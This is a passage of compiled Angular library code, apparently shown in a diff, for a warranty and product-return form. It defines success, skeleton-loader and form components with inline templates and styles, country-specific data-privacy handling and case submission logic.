*ngIf=\"!configuration.defConfig.isAnonymous && (caseResponses?.length > 0 && caseResponses[0].caseNumber && caseResponses[0].caseSource) else closeTicket\">\r\n <span class=\"close-success\"\r\n (click)=\"closeSuccess()\">{{\"wf.closedialogandstayonthispage\"|translate}}</span>\r\n\r\n <ad-button size=\"large\"\r\n variant=\"primary\"\r\n (onClick)=\"redirectToTicket()\">{{\"wf.gotonewticket\"|translate}}\r\n <ad-icon [name]=\"'ic_arrow-right.svg'\"></ad-icon>\r\n </ad-button>\r\n </div>\r\n <!-- hotfix MPD-4560 -->\r\n <div *ngIf=\"caseResponses?.length > 0 && caseResponses[0].caseId\">\r\n <p class=\"case-info\">\r\n <span [innerHtml]=\"'wf.caseInfo'|translate\"></span>\r\n </p>\r\n </div>\r\n</div>\r\n\r\n<ng-template #closeTicket>\r\n <div class=\"return__succeeded--btn\">\r\n <ad-button size=\"large\"\r\n variant=\"primary\"\r\n (onClick)=\"closeSuccess()\">{{\"wf.closedialog\"|translate}}\r\n </ad-button>\r\n </div>\r\n</ng-template>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}.text-center{text-align:center}.reference{text-align:center;margin-top:20px}.case-info{text-align:center;white-space:pre-wrap}.return{display:flex;flex-direction:column;width:100%}.return__succeeded{display:flex;flex-direction:column;width:100%;justify-content:center;align-items:center;min-height:calc(80vh - 120px);margin:auto}.return__succeeded h2{width:auto}.return__succeeded--numbers{font-size:1rem;margin:8px 0}.return__succeeded--numbers .bold{font-weight:700;letter-spacing:0}.return__succeeded--btn{margin:35px 0;display:flex;align-items:center;justify-content:center}.close-success{margin:0 25px 0 16px;text-decoration:none;color:#4d575d;background-color:transparent;cursor:pointer}\n"], components: [{ type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }, { type: i1$1.ɵe, selector: "ad-icon", inputs: ["size", "color", "width", "height", "placement", "name", "title"] }], directives: [{ type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }], pipes: { "translate": i4.TranslatePipe } });
|
2899
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantySuccessComponent, decorators: [{
|
2900
|
+
type: Component,
|
2901
|
+
args: [{
|
2902
|
+
selector: 'warranty-success',
|
2903
|
+
templateUrl: './warranty-success.component.html',
|
2904
|
+
styleUrls: ['./warranty-success.component.scss']
|
2905
|
+
}]
|
2906
|
+
}], propDecorators: { configuration: [{
|
2907
|
+
type: Input
|
2908
|
+
}], caseResponses: [{
|
2909
|
+
type: Input
|
2910
|
+
}], reference: [{
|
2911
|
+
type: Input
|
2912
|
+
}], close: [{
|
2913
|
+
type: Output
|
2914
|
+
}], redirect: [{
|
2915
|
+
type: Output
|
2916
|
+
}] } });
|
2917
|
+
|
2918
|
+
class SkeletonLoaderComponent {
|
2919
|
+
constructor() {
|
2920
|
+
this.type = "progress";
|
2921
|
+
this.repeat = 1;
|
2922
|
+
this.margin = "6px";
|
2923
|
+
this.height = "24px";
|
2924
|
+
this._show = true;
|
2925
|
+
this.repeatOf = () => Array(this.repeat);
|
2926
|
+
}
|
2927
|
+
ngOnInit() {
|
2928
|
+
if (isObservable(this.show)) {
|
2929
|
+
this.show.subscribe({
|
2930
|
+
complete: () => {
|
2931
|
+
this._show = false;
|
2932
|
+
}
|
2933
|
+
});
|
2934
|
+
}
|
2935
|
+
else {
|
2936
|
+
this._show = this.show;
|
2937
|
+
}
|
2938
|
+
}
|
2939
|
+
ngOnChanges() {
|
2940
|
+
if (typeof this.show === "boolean") {
|
2941
|
+
this._show = this.show;
|
2942
|
+
}
|
2943
|
+
}
|
2944
|
+
}
|
2945
|
+
SkeletonLoaderComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SkeletonLoaderComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
2946
|
+
SkeletonLoaderComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: SkeletonLoaderComponent, selector: "skeleton-loader", inputs: { type: "type", show: "show", repeat: "repeat", margin: "margin", height: "height" }, usesOnChanges: true, ngImport: i0, template: "<ng-container *ngIf=\"_show\">\r\n <span [className]=\"'item ' + type\"\r\n [ngStyle]=\"{\r\n 'margin-top': margin,\r\n 'margin-bottom': margin,\r\n 'height': height\r\n }\"\r\n *ngFor=\"let i of repeatOf()\"></span>\r\n</ng-container>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}.item{box-sizing:border-box;overflow:hidden;position:relative;background:#eceeef no-repeat;border-radius:6px;width:100%;min-height:16px;display:inline-block;margin-bottom:10px}.item:after,.item:before{box-sizing:border-box}.item.progress{animation:progress 2s cubic-bezier(.4,0,.2,1) infinite;background-size:200px 100%;background-image:linear-gradient(to right,rgba(255,255,255,0),rgba(255,255,255,.4),rgba(255,255,255,0))}@keyframes progress{0%{background-position:-200px 0}to{background-position:calc(200px + 100%) 0}}\n"], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i2.NgStyle, selector: "[ngStyle]", inputs: ["ngStyle"] }] });
|
2947
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SkeletonLoaderComponent, decorators: [{
|
2948
|
+
type: Component,
|
2949
|
+
args: [{
|
2950
|
+
selector: 'skeleton-loader',
|
2951
|
+
templateUrl: './skeleton-loader.component.html',
|
2952
|
+
styleUrls: ['./skeleton-loader.component.scss']
|
2953
|
+
}]
|
2954
|
+
}], propDecorators: { type: [{
|
2955
|
+
type: Input
|
2956
|
+
}], show: [{
|
2957
|
+
type: Input
|
2958
|
+
}], repeat: [{
|
2959
|
+
type: Input
|
2960
|
+
}], margin: [{
|
2961
|
+
type: Input
|
2962
|
+
}], height: [{
|
2963
|
+
type: Input
|
2964
|
+
}] } });
|
2965
|
+
|
2966
|
+
class WarrantyFormComponent {
|
2967
|
+
constructor(translateService, warrantyService, warrantyFormService, validationService, stepsService, configService, serialService, warrantyDataMappingService) {
|
2968
|
+
this.translateService = translateService;
|
2969
|
+
this.warrantyService = warrantyService;
|
2970
|
+
this.warrantyFormService = warrantyFormService;
|
2971
|
+
this.validationService = validationService;
|
2972
|
+
this.stepsService = stepsService;
|
2973
|
+
this.configService = configService;
|
2974
|
+
this.serialService = serialService;
|
2975
|
+
this.warrantyDataMappingService = warrantyDataMappingService;
|
2976
|
+
this.sent = new EventEmitter();
|
2977
|
+
this.close = new EventEmitter();
|
2978
|
+
this.redirect = new EventEmitter();
|
2979
|
+
this.loaderSettingsHeader = { repeat: 1, height: '100px', margin: '12px' };
|
2980
|
+
this.loaderSettingsLeft = { repeat: 2, height: '120px', margin: '12px' };
|
2981
|
+
this.loaderSettingsRight = { repeat: 4, height: '48px', margin: '12px' };
|
2982
|
+
this.destroy$ = new Subject();
|
2983
|
+
this.localizedItems = [];
|
2984
|
+
this.displaySendConfirmationEmailOption = false;
|
2985
|
+
this.denmarkReturn = false;
|
2986
|
+
this.askAdditionalContactsOption = false;
|
2987
|
+
this.displayDataPrivacyOption = false;
|
2988
|
+
this.validationErrors = [];
|
2989
|
+
this.errorOnLoad = false;
|
2990
|
+
this.caseSubmitted = false;
|
2991
|
+
this.caseResponse = [];
|
2992
|
+
this.sending = false;
|
2993
|
+
}
|
2994
|
+
ngOnInit() {
|
2995
|
+
if (!this.configService.update(this.configuration, this.data, this.translateService)) {
|
2996
|
+
this.errorOnLoad = true;
|
2997
|
+
return;
|
2998
|
+
}
|
2999
|
+
;
|
3000
|
+
this.config = this.configService.getConfig();
|
3001
|
+
const lang = `${this.config.defConfig.country}:::${this.config.defConfig.locale}`;
|
3002
|
+
this.translateService.use(lang);
|
3003
|
+
this.warrantyService.initService();
|
3004
|
+
this.displaySendConfirmationEmailOption = this.config.defConfig.toggles.sendConfirmationEmailOption && this.config.isWarranty;
|
3005
|
+
this.currentStep = this.stepsService.getCurrentStep();
|
3006
|
+
this.loadingWarrantyData = true;
|
3007
|
+
forkJoin([
|
3008
|
+
this.warrantyService.getVendorList(),
|
3009
|
+
this.warrantyService.getCategoryList(),
|
3010
|
+
this.warrantyService.getVendorProducts(),
|
3011
|
+
this.warrantyService.getRuleVendorProducts(),
|
3012
|
+
this.warrantyService.getRuleOptions(this.config.defConfig.caseType),
|
3013
|
+
this.warrantyService.getRequiredFields(),
|
3014
|
+
this.warrantyService.getBlackListedArticles(),
|
3015
|
+
this.warrantyService.getCnetCategories(),
|
3016
|
+
this.translateService.getTranslation(this.translateService.currentLang)
|
3017
|
+
]).pipe(map(([vendors, productTypes, vendorProducts, ruleVendorProducts, ruleOptions, requiredFields, blackListedArticles, cneCategories, translations]) => {
|
3018
|
+
let lines = [];
|
3019
|
+
if (!this.config.OrderIsNull) {
|
3020
|
+
lines = this.config.defData.orderLines.filter(l => this.orderlineIsValid(l, blackListedArticles));
|
3021
|
+
}
|
3022
|
+
else {
|
3023
|
+
lines = [{ quantity: 1 }];
|
3024
|
+
}
|
3025
|
+
const transportOptions = [];
|
3026
|
+
Object.entries(translations).filter(([key]) => key.indexOf("seTransportMethod") >= 0)
|
3027
|
+
.forEach(([key, value]) => transportOptions.push(new TransportOption(key, typeof value === 'string' ? value.toString() : "")));
|
3028
|
+
Object.entries(translations).forEach(([key, text]) => {
|
3029
|
+
ruleOptions.forEach(o => {
|
3030
|
+
if (o.localizeVar === key) {
|
3031
|
+
o.nodeDescription = text;
|
3032
|
+
}
|
3033
|
+
});
|
3034
|
+
});
|
3035
|
+
return new WarrantyData(vendors, productTypes, vendorProducts, ruleVendorProducts, ruleOptions, requiredFields, blackListedArticles, cneCategories, transportOptions, lines);
|
3036
|
+
}), takeUntil(this.destroy$)).subscribe(result => {
|
3037
|
+
this.warrantyData = result;
|
3038
|
+
this.mainForm = this.warrantyFormService.createMainForm(this.config, this.warrantyData.orderLines);
|
3039
|
+
}, (error) => {
|
3040
|
+
console.error(error);
|
3041
|
+
this.errorOnLoad = true;
|
3042
|
+
});
|
3043
|
+
}
|
3044
|
+
get lines() {
|
3045
|
+
return this.mainForm.get('lines');
|
3046
|
+
}
|
3047
|
+
getSerialNumber(form) {
|
3048
|
+
return this.serialService.getSerialNumber(form);
|
3049
|
+
}
|
3050
|
+
orderlineIsValid(line, articles) {
|
3051
|
+
if (!this.config.OrderIsNull) {
|
3052
|
+
if (line) {
|
3053
|
+
if (this.config.isCompletedOrderCase) {
|
3054
|
+
return !articles.includes(line.itemNo);
|
3055
|
+
}
|
3056
|
+
return true;
|
3057
|
+
}
|
3058
|
+
}
|
3059
|
+
return false;
|
3060
|
+
}
|
3061
|
+
getInfoForm(form) {
|
3062
|
+
return form.get("info");
|
3063
|
+
}
|
3064
|
+
getQuantity(form) {
|
3065
|
+
return form.get("quantity");
|
3066
|
+
}
|
3067
|
+
hasSelectedSerial() {
|
3068
|
+
if (this.lines) {
|
3069
|
+
return this.mainForm.value.lines.some(l => l.serialNumbers.some(s => s.isChecked));
|
3070
|
+
}
|
3071
|
+
return false;
|
3072
|
+
}
|
3073
|
+
hasActiveLine() {
|
3074
|
+
return this.lines.controls.some(l => l.value.isActive);
|
3075
|
+
}
|
3076
|
+
displayWarrantyInfo(form, defaultResult) {
|
3077
|
+
if (form.value.isActive) {
|
3078
|
+
if (this.config.isCompletedOrderCase) {
|
3079
|
+
if (form.value.serialNumbers.length > 0)
|
3080
|
+
return form.value.serialNumbers.some(sn => sn.isChecked);
|
3081
|
+
else
|
3082
|
+
return form.value.quantity > 0;
|
3083
|
+
}
|
3084
|
+
else if (form.value.serialNumbers.length > 0) {
|
3085
|
+
return form.value.serialNumbers.some(sn => sn.isChecked);
|
3086
|
+
}
|
3087
|
+
else
|
3088
|
+
return form.value.quantity > 0;
|
3089
|
+
}
|
3090
|
+
return defaultResult;
|
3091
|
+
}
|
3092
|
+
removeProductDescriptions(lineToUpdate) {
|
3093
|
+
Object.keys(lineToUpdate).forEach(key => {
|
3094
|
+
switch (key) {
|
3095
|
+
case "vendor":
|
3096
|
+
case "category":
|
3097
|
+
case "reasonProductReturn":
|
3098
|
+
lineToUpdate.get(key).setValue('');
|
3099
|
+
break;
|
3100
|
+
case "reqFields":
|
3101
|
+
lineToUpdate.get(key).setValue([]);
|
3102
|
+
break;
|
3103
|
+
default:
|
3104
|
+
lineToUpdate.removeControl(key);
|
3105
|
+
}
|
3106
|
+
});
|
3107
|
+
}
|
3108
|
+
addProductDescriptions(infoForm, lineToUpdate) {
|
3109
|
+
Object.keys(infoForm.controls).forEach(ct => {
|
3110
|
+
switch (ct) {
|
3111
|
+
case "vendor":
|
3112
|
+
case "category":
|
3113
|
+
case "reasonProductReturn":
|
3114
|
+
break;
|
3115
|
+
case "reqFields":
|
3116
|
+
const reqFields = infoForm.get("reqFields");
|
3117
|
+
Object.keys(reqFields.controls).forEach(rf => {
|
3118
|
+
if (rf.startsWith(Constants.base64)) {
|
3119
|
+
lineToUpdate.get("reqFields").addControl(`${Constants.base64}${rf}`, new FormControl(''));
|
3120
|
+
}
|
3121
|
+
if (reqFields.controls[rf].hasValidator(Validators.required)) {
|
3122
|
+
lineToUpdate.get("reqFields").addControl(rf, new FormControl('', Validators.required));
|
3123
|
+
}
|
3124
|
+
else {
|
3125
|
+
lineToUpdate.get("reqFields").addControl(rf, new FormControl(''));
|
3126
|
+
}
|
3127
|
+
});
|
3128
|
+
break;
|
3129
|
+
default:
|
3130
|
+
if (ct.startsWith("node-")) {
|
3131
|
+
lineToUpdate.addControl(ct, new FormControl('', Validators.required));
|
3132
|
+
}
|
3133
|
+
}
|
3134
|
+
});
|
3135
|
+
}
|
3136
|
+
fillSelectedDescriptions(evt) {
|
3137
|
+
const infoForm = evt;
|
3138
|
+
const lines = this.mainForm.get("lines");
|
3139
|
+
for (let i = 0; i < lines.length; i++) {
|
3140
|
+
if (!lines.at(i).get("isActive").value && lines.at(i).get("isChecked").value) {
|
3141
|
+
const lineToUpdate = lines.at(i).get("info");
|
3142
|
+
this.removeProductDescriptions(lineToUpdate);
|
3143
|
+
this.addProductDescriptions(infoForm, lineToUpdate);
|
3144
|
+
lines.at(i).patchValue({ info: infoForm.value, onlySelf: true });
|
3145
|
+
}
|
3146
|
+
}
|
3147
|
+
}
|
3148
|
+
ngOnDestroy() {
|
3149
|
+
this.warrantyFormService.onDestroy();
|
3150
|
+
this.destroy$.next(true);
|
3151
|
+
this.destroy$.unsubscribe();
|
3152
|
+
}
|
3153
|
+
isValidForm() {
|
3154
|
+
return this.validationService.isValidForm(this.mainForm);
|
3155
|
+
}
|
3156
|
+
isValidSubmit() {
|
3157
|
+
return this.validationService.isValidSubmit(this.mainForm, this.sending);
|
3158
|
+
}
|
3159
|
+
addRemoveDisplayPrivacyOption() {
|
3160
|
+
if (this.displayDataPrivacyOption) {
|
3161
|
+
this.mainForm.addControl("agreeToDataPrivacyPolicy", new FormControl(false, Validators.requiredTrue));
|
3162
|
+
}
|
3163
|
+
else
|
3164
|
+
this.mainForm.removeControl("agreeToDataPrivacyPolicy");
|
3165
|
+
}
|
3166
|
+
getFormGroup(groupName) {
|
3167
|
+
return this.mainForm.get(groupName);
|
3168
|
+
}
|
3169
|
+
dataPrivacyEnabledForDK() {
|
3170
|
+
return this.denmarkReturn && this.config.defConfig.toggles.dataPrivacy;
|
3171
|
+
}
|
3172
|
+
dataPrivacyEnabledForProduct(line) {
|
3173
|
+
const privacyEnabled = new Map([["hasDamagedOrOpened", false], ["hasCargoNeedRepair", false]]);
|
3174
|
+
const info = line.get("info");
|
3175
|
+
Object.keys(info.controls).forEach(ct => {
|
3176
|
+
if (ct.startsWith("node-") || ct === "reasonProductReturn") {
|
3177
|
+
if (!Array.isArray(info.controls[ct].value)) {
|
3178
|
+
const opt = this.warrantyData.getRuleOption(info.controls[ct].value);
|
3179
|
+
switch (opt.localizeVar) {
|
3180
|
+
case RuleOptionEnum.packageDamaged:
|
3181
|
+
case RuleOptionEnum.discoveredWhenOpened:
|
3182
|
+
privacyEnabled.set("hasDamagedOrOpened", true);
|
3183
|
+
break;
|
3184
|
+
case RuleOptionEnum.cargoNeedRepair:
|
3185
|
+
privacyEnabled.set("hasCargoNeedRepair", true);
|
3186
|
+
break;
|
3187
|
+
}
|
3188
|
+
}
|
3189
|
+
}
|
3190
|
+
});
|
3191
|
+
if (privacyEnabled.get("hasCargoNeedRepair"))
|
3192
|
+
return false;
|
3193
|
+
if (privacyEnabled.get("hasDamagedOrOpened"))
|
3194
|
+
return true;
|
3195
|
+
return false;
|
3196
|
+
}
|
3197
|
+
displayDataPrivacy() {
|
3198
|
+
var _a;
|
3199
|
+
switch (this.config.defConfig.country) {
|
3200
|
+
case CountriesEnum.SE:
|
3201
|
+
case CountriesEnum.NO:
|
3202
|
+
case CountriesEnum.FI:
|
3203
|
+
case CountriesEnum.LT:
|
3204
|
+
case CountriesEnum.LV:
|
3205
|
+
case CountriesEnum.EE:
|
3206
|
+
if (((_a = this.config.defConfig.toggles) === null || _a === void 0 ? void 0 : _a.dataPrivacy) === true)
|
3207
|
+
return true;
|
3208
|
+
break;
|
3209
|
+
case CountriesEnum.DK:
|
3210
|
+
if (this.dataPrivacyEnabledForDK())
|
3211
|
+
return true;
|
3212
|
+
break;
|
3213
|
+
}
|
3214
|
+
const lines = this.mainForm.get("lines");
|
3215
|
+
for (let i = 0; i < lines.length; i++) {
|
3216
|
+
const line = lines.at(i);
|
3217
|
+
if (line.get("isChecked").value) {
|
3218
|
+
return this.dataPrivacyEnabledForProduct(line);
|
3219
|
+
}
|
3220
|
+
}
|
3221
|
+
return false;
|
3222
|
+
}
|
3223
|
+
askAdditionalContacts() {
|
3224
|
+
let askAdditionalContacts = false;
|
3225
|
+
if (this.config.defConfig.country === CountriesEnum.DK &&
|
3226
|
+
this.config.isWarranty) {
|
3227
|
+
const info = this.mainForm.get("lines").at(0).get("info");
|
3228
|
+
Object.keys(info.controls).forEach(ct => {
|
3229
|
+
if (ct.startsWith("node-") || ct === "reasonProductReturn") {
|
3230
|
+
const opt = this.warrantyData.getRuleOption(info.controls[ct].value);
|
3231
|
+
switch (opt.localizeVar) {
|
3232
|
+
case RuleOptionEnum.packageNotDamaged:
|
3233
|
+
case RuleOptionEnum.cargoNeedRepair:
|
3234
|
+
askAdditionalContacts = true;
|
3235
|
+
break;
|
3236
|
+
}
|
3237
|
+
}
|
3238
|
+
});
|
3239
|
+
}
|
3240
|
+
return askAdditionalContacts;
|
3241
|
+
}
|
3242
|
+
goBackward() {
|
3243
|
+
this.stepsService.moveToPrevStep();
|
3244
|
+
}
|
3245
|
+
onNextStep() {
|
3246
|
+
switch (this.stepsService.currentStep$.value.stepIndex) {
|
3247
|
+
case 1:
|
3248
|
+
this.denmarkReturn = !this.config.OrderIsNull
|
3249
|
+
&& this.config.defConfig.country === CountriesEnum.DK
|
3250
|
+
&& !this.config.isWarranty;
|
3251
|
+
this.askAdditionalContactsOption = this.askAdditionalContacts();
|
3252
|
+
this.displayDataPrivacyOption = this.displayDataPrivacy();
|
3253
|
+
this.addRemoveDisplayPrivacyOption();
|
3254
|
+
const customerDetails = this.warrantyFormService.createCustomerDetailsForm();
|
3255
|
+
this.mainForm.addControl("customerDetails", customerDetails);
|
3256
|
+
this.stepsService.moveToNextStep();
|
3257
|
+
break;
|
3258
|
+
case 2:
|
3259
|
+
this.send();
|
3260
|
+
break;
|
3261
|
+
}
|
3262
|
+
}
|
3263
|
+
send() {
|
3264
|
+
this.validationErrors = [];
|
3265
|
+
this.warrantyDataMappingService.ensureConfig();
|
3266
|
+
const sendData = this.warrantyDataMappingService.createSendData(this.mainForm, this.warrantyData);
|
3267
|
+
if (sendData.length > 0) {
|
3268
|
+
sendData[0].app.type = this.config.defConfig.system;
|
3269
|
+
this.sending = true;
|
3270
|
+
this.warrantyService.createCase(sendData)
|
3271
|
+
.pipe(takeUntil(this.destroy$))
|
3272
|
+
.subscribe(r => {
|
3273
|
+
this.caseResponse = r;
|
3274
|
+
this.caseSubmitted = true;
|
3275
|
+
if (!this.config.defConfig.isAnonymous) {
|
3276
|
+
const lastUsedDetails = this.warrantyDataMappingService.createLastUsedDetails(sendData[0]);
|
3277
|
+
this.sent.emit(lastUsedDetails);
|
3278
|
+
}
|
3279
|
+
this.stepsService.moveToNextStep();
|
3280
|
+
}, (err) => {
|
3281
|
+
console.error(err);
|
3282
|
+
if (err.status === 400 && err.data.toLowerCase().indexOf("customer number not found") > -1) {
|
3283
|
+
this.validationErrors.push("wf.invalidCustomerNumber");
|
3284
|
+
}
|
3285
|
+
else {
|
3286
|
+
this.validationErrors.push("wf.genericerror");
|
3287
|
+
}
|
3288
|
+
this.caseSubmitted = false;
|
3289
|
+
}, () => { this.sending = false; });
|
3290
|
+
}
|
3291
|
+
}
|
3292
|
+
redirectToTicket(event) {
|
3293
|
+
this.redirect.emit(event);
|
3294
|
+
}
|
3295
|
+
closeForm() {
|
3296
|
+
if (!this.config.defConfig.isAnonymous) {
|
3297
|
+
this.close.emit();
|
3298
|
+
}
|
3299
|
+
else {
|
3300
|
+
location.reload();
|
3301
|
+
}
|
3302
|
+
}
|
3303
|
+
}
|
3304
|
+
WarrantyFormComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormComponent, deps: [{ token: i4.TranslateService }, { token: WarrantyService }, { token: WarrantyFormService }, { token: WarrantyValidationService }, { token: StepsService }, { token: ConfigService }, { token: SerialNumberService }, { token: WarrantyDataMappingService }], target: i0.ɵɵFactoryTarget.Component });
|
3305
|
+
WarrantyFormComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantyFormComponent, selector: "lib-warranty-form", inputs: { configuration: "configuration", data: "data" }, outputs: { sent: "sent", close: "close", redirect: "redirect" }, providers: [TranslateService, WarrantyService, WarrantyFormService, WarrantyValidationService,
|
3306
|
+
StepsService, SerialNumberService, WarrantyDataMappingService], ngImport: i0, template: "<div *ngIf=\"!errorOnLoad; else cantConnect\">\r\n <div class=\"page-container\"\r\n [formGroup]=\"mainForm\"\r\n *ngIf=\"warrantyData; else loading\">\r\n\r\n <form-header *ngIf=\"!config.defConfig.isAnonymous && !config.OrderIsNull && !caseSubmitted\"\r\n [configuration]=\"config\">\r\n </form-header>\r\n\r\n <ng-container [ngSwitch]=\"(currentStep | async)?.stepIndex\">\r\n <ng-container *ngSwitchCase=\"'1'\">\r\n <div class=\"component-container\">\r\n\r\n <warranty-products class=\"return__products\"\r\n [configuration]=\"config\"\r\n [warrantyForm]=\"mainForm\"\r\n [orderLines]=\"warrantyData.orderLines\"\r\n [lines]=\"lines\">\r\n </warranty-products>\r\n\r\n <div class=\"return__info\"\r\n formArrayName=\"lines\"\r\n *ngIf=\"hasActiveLine() else chooseItem\">\r\n\r\n <div *ngFor=\"let lineForm of lines.controls; index as i\">\r\n\r\n <div *ngIf=\"displayWarrantyInfo(lineForm, true); else chooseItem\">\r\n <warranty-info *ngIf=\"displayWarrantyInfo(lineForm, false)\"\r\n [infoForm]=\"getInfoForm(lineForm)\"\r\n [quantity]=\"getQuantity(lineForm)\"\r\n [orderLineIndex]=\"i\"\r\n [warrantyData]=\"warrantyData\"\r\n [serialNumber]=\"getSerialNumber(lineForm)\"\r\n [configuration]=\"config\"\r\n (fillDescriptions)=\"fillSelectedDescriptions($event)\"\r\n (continue)=\"onNextStep()\">\r\n </warranty-info>\r\n </div>\r\n </div>\r\n </div>\r\n </div>\r\n <div *ngIf=\"config.isCompletedOrderCase\"\r\n class=\"return__forward\">\r\n <span class=\"return__forward--tip\">{{\"wf.continueWithCompleteOrder\"|translate}}</span>\r\n <ad-button [disabled]=\"!isValidForm()\"\r\n size=\"large\"\r\n variant=\"primary\"\r\n (onClick)=\"onNextStep()\">{{'wf.continue'|translate}}\r\n <ad-icon [name]=\"'ic_arrow-right.svg'\"></ad-icon>\r\n </ad-button>\r\n </div>\r\n </ng-container>\r\n <ng-container *ngSwitchCase=\"'2'\">\r\n <warranty-preview [configuration]=\"config\"\r\n [warrantyForm]=\"mainForm\"\r\n [warrantyData]=\"warrantyData\">\r\n </warranty-preview>\r\n <contact-details [configuration]=\"config\"\r\n [askAdditionalContacts]=\"askAdditionalContactsOption\"\r\n [customerDetailsForm]=\"getFormGroup('customerDetails')\">\r\n </contact-details>\r\n <ad-checkbox *ngIf=\"displaySendConfirmationEmailOption\"\r\n formControlName=\"sendConfirmationEmailEnabled\"\r\n [required]=\"true\">{{\"wf.sendconfirmationemail\"|translate}}\r\n </ad-checkbox>\r\n <ad-checkbox *ngIf=\"config.defConfig.toggles.warrantyAlternativeContact\"\r\n formControlName=\"alternativeContactEnabled\"\r\n [required]=\"true\">{{\"wf.alternativecontactLabel\"|translate}}\r\n </ad-checkbox>\r\n <alternative-contact class=\"alt-contact\"\r\n *ngIf=\"config.defConfig.toggles.warrantyAlternativeContact && mainForm.value.alternativeContactEnabled\"\r\n [alternativeContactForm]=\"getFormGroup('alternativeContact')\">\r\n </alternative-contact>\r\n\r\n <ad-checkbox formControlName=\"agreeThatInfoIsCorrect\"\r\n [required]=\"true\"><strong>{{(!denmarkReturn ? \"wf.readthrough\" :\r\n \"wf.readthroughDK\")|translate}}</strong>\r\n </ad-checkbox>\r\n\r\n <ad-checkbox *ngIf=\"displayDataPrivacyOption\"\r\n formControlName=\"agreeToDataPrivacyPolicy\"\r\n [required]=\"true\">\r\n <span class=\"privacy\"\r\n [innerHtml]=\"'wf.dataPrivacy' + config.defConfig.country|translate\"></span>\r\n </ad-checkbox>\r\n\r\n <div *ngIf=\"validationErrors?.length > 0\">\r\n <div class=\"color__red\">\r\n <span *ngFor=\"let err of validationErrors\">\r\n {{err|translate}}\r\n </span>\r\n </div>\r\n </div>\r\n\r\n <span class=\"return__forward--tip\"\r\n *ngIf=\"config.defConfig.isSupportMode\">{{\"wf.adminotpermitted\"|translate}}</span>\r\n <div class=\"flex--row button--section\">\r\n <span class=\"go__backward\"\r\n (click)=\"goBackward()\">{{\"wf.changebtn\"|translate}}</span>\r\n\r\n <ad-button [disabled]=\"!config.defConfig.isSupportMode && !isValidSubmit()\"\r\n size=\"large\"\r\n variant=\"primary\"\r\n [loading]=\"sending\"\r\n (onClick)=\"onNextStep()\">{{\"wf.formSubmitCustomerService\"|translate}}\r\n <ad-icon [name]=\"'ic_send.svg'\"></ad-icon>\r\n </ad-button>\r\n </div>\r\n </ng-container>\r\n <ng-container *ngSwitchCase=\"'3'\">\r\n <warranty-success [configuration]=\"config\"\r\n [caseResponses]=\"caseResponse\"\r\n 